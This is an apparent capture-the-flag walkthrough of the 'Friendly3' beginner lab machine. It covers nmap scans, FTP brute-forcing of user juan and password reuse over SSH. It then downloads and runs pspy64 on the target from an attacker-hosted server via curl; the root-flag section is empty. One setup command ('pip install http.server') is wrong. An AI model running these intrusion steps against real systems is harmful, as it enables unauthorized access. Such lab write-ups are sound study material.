Friendly3

Description

Friendly3 is a beginner machine created by RiJaba1

Friendly3

Walk through

Enumeration

Port Enumeration

Basic PORT enumeration with NMAP

nmap -Pn -n -p- --min-rate 5000 --open $TARGET

Note: in my case $TARGET is 192.168.1.69

The reported ports are

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Service Enumeration

Now lets enumerate the services running on each port with

nmap -sCV -p $PORTS --min-rate 5000 $TARGET

Output

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
|   256 bc:46:3d:85:18:bf:c7:bb:14:26:9a:20:6c:d3:39:52 (ECDSA)
|_  256 7b:13:5a:46:a5:62:33:09:24:9d:3e:67:b6:eb:3f:a1 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.22.1
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Port 80

Open the web reported we can see a semi void web, but trying to get the biggest amount of info from our fonts, we can get a name juan

Port 21

The FTP service don't have anonymous user based on the Service Enumeration Lets try with a Brute Force Attack to get the credentials of the possible user juan In this case I go to use Hydra but exist more Tools to do this. Take a look here for more info. Yeah, we has luck, the password for the user juan is alexis

Exploitation

Use the credentials to FTP

Nothing seems interesting, every file is empty or with junk info

User flag

We can try to reuse the credentials in the other open service, SSH juan for user alexis for password

It works Type ls and you go to see the user flag

Post-Explotation

Privilege Escalation

Juan do't have sudo permissions to do sudo -l Let's do the basics I go to try to explore the current process with PSPY Download in your ATTACKER machine the binary from here Download in your Attacker machine the Pspy64 from here After download your Pspy open a http server to transfer your file

If you don't know how to do that follow this instructions

python pip install http.server
python -m http.server 80

Use curl to request the file from the TARGET machine in the Path /tmp

curl -X GET http://$ATTACKER/pspy64 -o pspy64

Then add execution permissions and execute it

chmod +x pspy64
./pspy64

Root flag

References

https://null-byte.wonderhowto.com/how-to/brute-force-ftp-credentials-get-server-access-0208763/

https://github.com/DominicBreuker/pspy

https://github.com/CesarGBkR/HackingBasics/tree/main/Writeups/TCM/PEH